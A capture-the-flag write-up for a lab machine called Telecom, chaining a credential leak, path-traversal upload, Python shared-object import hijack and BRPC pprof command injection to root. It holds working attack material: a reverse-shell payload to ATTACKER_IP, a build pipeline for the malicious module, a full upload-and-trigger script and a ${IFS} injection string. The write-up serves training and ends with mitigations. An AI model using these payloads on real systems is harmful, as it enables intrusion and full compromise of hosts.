Telecom - HC Writeup

2026-03-02·8 min read·
ctfinformation-disclosurearbitrary-file-writercecommand-injection

Target Information

  • IP Address: 172.16.10.70
  • Difficulty: Hard
  • Tags: Information Disclosure, Arbitrary File Write, Python Shared Object Hijack, Flask RCE, BRPC pprof Command Injection

Reconnaissance

Port Scanning

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.10.70

Results:

$code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH
80/tcp open  http

Add the hosts to /etc/hosts:

$code
172.16.10.70  telecom.hc telemetry.telecom.hc

Web Enumeration

Discovery: Information Disclosure in /api/config

The /api/config endpoint is accessible without authentication and exposes the complete application configuration, including administrator credentials in plaintext.

Request:

$http
GET /api/config HTTP/1.1
Host: telemetry.telecom.hc

Response:

$json
{
  "config": {
    "admin_pass": "t3l3m3try@2026",
    "admin_user": "admin"
  },
  "debug": false,
  "env": "development",
  "status": "ok",
  "uptime": "3d 14h 22m",
  "version": "2.1.0"
}

Leaked credentials: admin : t3l3m3try@2026

Identified stack: Python 3.11.14 + Flask 3.1.6


Authenticated Application Analysis

Logging in at telemetry.telecom.hc/login with the recovered credentials reveals:

  • File upload functionality at /upload
  • The /telemetry endpoint dynamically imports the telemetry module
  • The application imports telemetry as a Python module — a potential shared object hijack vector

Exploitation: Python Dirty AFW → RCE via Shared Object Hijack

Technique

When importing modules, Python resolves them in the following priority order:

$code
telemetry.so > telemetry.py > telemetry.pyc

If a compiled .so file exists on the import path, it is loaded before .py or .pyc files. Combined with an arbitrary file write vulnerability (an upload without extension restrictions), this allows replacing the legitimate module with a malicious shared object that executes code when imported.

Reference: Python Dirty Arbitrary File Write to RCE via Shared Object Files

Compiling the Malicious .so

The .so must be compiled with the same Python version as the server (3.11.14). The payload uses Cython to compile Python code into a shared object.

telemetry.py (payload):

$python
__import__("os").system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")

setup.py:

$python
from distutils.core import setup
from Cython.Build import cythonize
setup(ext_modules=cythonize("telemetry.py"))

Dockerfile.build — ensures an environment identical to the server:

$dockerfile
FROM python:3.11.14-slim
 
RUN apt-get update && apt-get install -y gcc && rm -rf /var/lib/apt/lists/*
RUN pip install cython
 
WORKDIR /build
COPY telemetry.py setup.py ./
 
RUN cythonize -i telemetry.py && \
    cp telemetry.cpython-311-*.so telemetry.so
 
CMD ["cp", "telemetry.so", "/output/telemetry.so"]

Build:

$bash
docker build -f Dockerfile.build -t build-so .
docker run --rm -v $(pwd)/output:/output build-so

The output/telemetry.so file is ready for upload.

Upload and Trigger

The /upload endpoint stores files in a subdirectory of /app (for example, /app/uploads/) but does not sanitize the multipart filename. Sending filename="../telemetry.so" uses path traversal to write the file directly to /app/telemetry.so — the application root, which is on the Python import path.

This makes the attack possible: without path traversal, the .so would remain in /app/uploads/, outside the import location.

The poc.py script performs the upload and trigger. The excerpt below shows the endpoint behavior:

/upload Endpoint (reference):

$http
POST /upload HTTP/1.1
Host: telemetry.telecom.hc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5luB3FBx6nVR1IyM
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.aaSoCw.EaA6NDd6nO0HnTl_jhLUofhfo48
 
------WebKitFormBoundary5luB3FBx6nVR1IyM
Content-Disposition: form-data; name="file"; filename="../telemetry.so"
Content-Type: application/x-sharedlib
 
[binary contents of telemetry.so]
------WebKitFormBoundary5luB3FBx6nVR1IyM--

The filename="../telemetry.so" path moves up one directory and writes to /app/telemetry.so, overwriting the legitimate module.

1. Listener:

$bash
penelope -p 4444

2. Run poc.py (upload and trigger):

$bash
python3 poc.py
[*] Writing our shared object file...
[*] Triggering the reloader...
[*] Triggering /telemetry (waiting up to 30s for reverse shell)...
[+] Request completed.

The poc.py script uploads the file through /upload using path traversal, then accesses /telemetry to force Python to import the module, which now resolves to the malicious .so.

Shell obtained:

$bash
[+] Got reverse shell from ip-172-16-15-22~172.16.15.22-Linux-x86_64  Assigned SessionID <1>
telemetry@ip-172-16-15-22:~/app$

Privilege Escalation: Command Injection via BRPC pprof

Internal Service Enumeration

On the compromised machine, a BRPC service is listening locally on port 8000. BRPC (Apache’s C++ RPC framework) exposes pprof profiling endpoints that are accessible only on localhost.

$bash
curl -s http://localhost:8000/pprof/heap

Analysis of the /pprof/heap Endpoint

The endpoint accepts the display and extra_options parameters and passes them directly to jeprof without sanitization. The extra_options value is concatenated into a shell command, enabling command injection.

Exploit:

$python
import http.client
 
conn = http.client.HTTPConnection("localhost", 8000)
path = "/pprof/heap?display=text&extra_options=inuse_space%20;cat${IFS}/root/root.txt>/tmp/rce5.txt;true%20"
conn.request("GET", path, headers={"Host": "localhost:8000"})
resp = conn.getresponse()
print(resp.read(200).decode(errors='replace'))
$bash
python3 exploit.py
./rpc_data/profiling/pprof_649e776163bea6118571ddf9d783afee/20260302.170310.heap
env JEPROF_FILE invalid
read_command_output <jeprof  /root/apache/brpc/example/echo_c++/brpc_server ./rpc_data/profilin

The command ran as root. The flag was written to /tmp/rce5.txt:

$bash
cat /tmp/rce5.txt
hackingclub{*************}

ROOT OBTAINED!


Attack Chain Summary

$code
1. Unauthenticated /api/config
   ↓ Unauthenticated endpoint exposes administrator credentials in plaintext
2. Log in to the application
   ↓ admin:t3l3m3try@2026
3. Arbitrary File Write via /upload
   ↓ No extension restriction allows a `.so` upload
4. Python Shared Object Hijack
   ↓ telemetry.so takes precedence over telemetry.py in module resolution
5. Flask Import Trigger via /telemetry
   ↓ Importing the module executes the .so payload
6. Reverse Shell (telemetry user)
   ↓ Shell as the application user
7. BRPC pprof Command Injection
   ↓ Unsanitized `extra_options` → command injection in a root context
8. Root access
   ↓ Flag lida de /root/root.txt

Vulnerabilities Summary

  1. Unauthenticated Configuration Disclosure CWE-200 Critical

    • Unauthenticated /api/config exposes administrator credentials in plaintext, allowing full application access
  2. Unrestricted File Upload → Arbitrary File Write CWE-434 Critical

    • Upload without extension validation allows Python modules to be overwritten with malicious shared objects
  3. Python Module Hijack via Shared Object CWE-426 Critical

    • Python loads .so files before .py files — arbitrary file write in the application directory results in RCE when the module is imported
  4. Command Injection via BRPC pprof CWE-78 Critical

    • The /pprof/heap endpoint’s extra_options parameter is concatenated into the jeprof command without sanitization; the command runs as root

Technical Analysis

Python Module Resolution — Import Priority

Technology: Python 3.11.14, CPython

Resolution order when importing telemetry:

  1. telemetry.so (compiled shared object) ← highest priority
  2. telemetry.py (source code)
  3. telemetry.pyc (compiled bytecode)

Exploitation requirements:

  • Write access to the module import directory
  • The .so must be compiled for the target Python version and architecture
  • The module must be imported after upload (dynamically or through a restart/reloader)

Compilation pipeline:

$code
telemetry.py (payload) → Cython → telemetry.c → gcc → telemetry.cpython-311-x86_64-linux-gnu.so → telemetry.so

BRPC pprof — Command Injection Flow

Technology: Apache BRPC (C++ RPC framework), jeprof

The /pprof/heap endpoint builds a command for jeprof:

$code
jeprof [options] <binary> <heap_file>

The extra_options parameter is inserted directly into the command string without escaping. The payload uses:

  • ${IFS} as an argument separator (space bypass)
  • ; as a command separator (shell injection)
  • true to ensure an exit code of 0
$code
inuse_space ;cat${IFS}/root/root.txt>/tmp/rce5.txt;true

Mitigation Recommendations

Application Level

  1. Add authentication to /api/config:

    • Requires a Bearer token or a valid session
    • Never expose credentials in API responses, even to authenticated users
  2. Validate uploaded file extensions and content types:

$python
ALLOWED_EXTENSIONS = {'csv', 'json', 'txt'}
 
def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
  1. Store uploads outside the application directory:
    • Prevent uploaded files from being imported as Python modules
    • Use an isolated directory without execution permissions

System Level

  1. Sanitize pprof parameters:

    • Use shlex.quote() or an equivalent before passing input to a shell
    • Restrict access to the pprof endpoint to privileged users
    • Do not expose profiling endpoints in production
  2. Principle of least privilege:

    • The BRPC service must not run as root
    • Separate the application process from the profiling process
  3. Monitoramento:

    • Alert on uploads of .so, .py, and .pyc files
    • Monitor access to the application module directory

Proof of Concept Scripts

poc.py — Upload and Trigger

The script automates uploading the malicious .so through path traversal and calls the endpoint that forces the module import.

$python
import requests
from io import BytesIO
from time import sleep
 
FILE_UPLOAD_ENDPOINT = '/upload'
SHARED_OBJECT_FILE_PATH = f'/../telemetry.so'
TRIGGER_PATH = '/telemetry'
baseUrl = 'http://telemetry.telecom.hc/'
 
cookies = {
    'session': 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.aaSoCw.EaA6NDd6nO0HnTl_jhLUofhfo48'
}
 
def getSharedObjectFileContent(filename):
    with open(filename, 'rb') as file:
        return file.read()
 
def uploadFile(filename, fileContent):
    fileBytes = BytesIO(fileContent)
    file = { 'file': (filename, fileBytes, 'text/plain') }
    requests.post(f'{baseUrl}{FILE_UPLOAD_ENDPOINT}', files=file, cookies=cookies).text
 
if __name__ == '__main__':
    print('[*] Writing our shared object file...')
    sharedObjectFile = getSharedObjectFileContent('telemetry.so')
    uploadFile(SHARED_OBJECT_FILE_PATH, sharedObjectFile)
 
    print('[*] Triggering the reloader...')
 
    print('[*] Triggering /telemetry (waiting up to 30s for reverse shell)...')
    try:
        requests.get(f'{baseUrl}{TRIGGER_PATH}', cookies=cookies)
        print('[+] Request completed.')
    except requests.exceptions.Timeout:
        print('[+] Request timed out after 30s (check your listener for shell).')
    except requests.exceptions.ConnectionError:
        print('[+] Connection lost (shell probably connected).')

Key points:

  • SHARED_OBJECT_FILE_PATH = '/../telemetry.so' — path traversal in filename makes the .so land at /app/telemetry.so instead of /app/uploads/
  • The trigger is a simple GET to /telemetry — the application imports the module and executes the payload
  • The except ConnectionError handles the case where the reverse shell closes the HTTP connection before the response arrives

Tools Used

  • nmap - Port scanning and service enumeration
  • Docker - Build .so files in a controlled Python 3.11.14 environment
  • Cython - Compile Python into a shared object
  • penelope - Reverse shell handler
  • poc.py - Upload and trigger the malicious module

References

Core Technique

Python Internals

BRPC


Author: cbxcvl Date: March 2, 2026 Machine: Telecom Platform: HackingClub


Flags

Flag values and file paths are not documented in the source notes.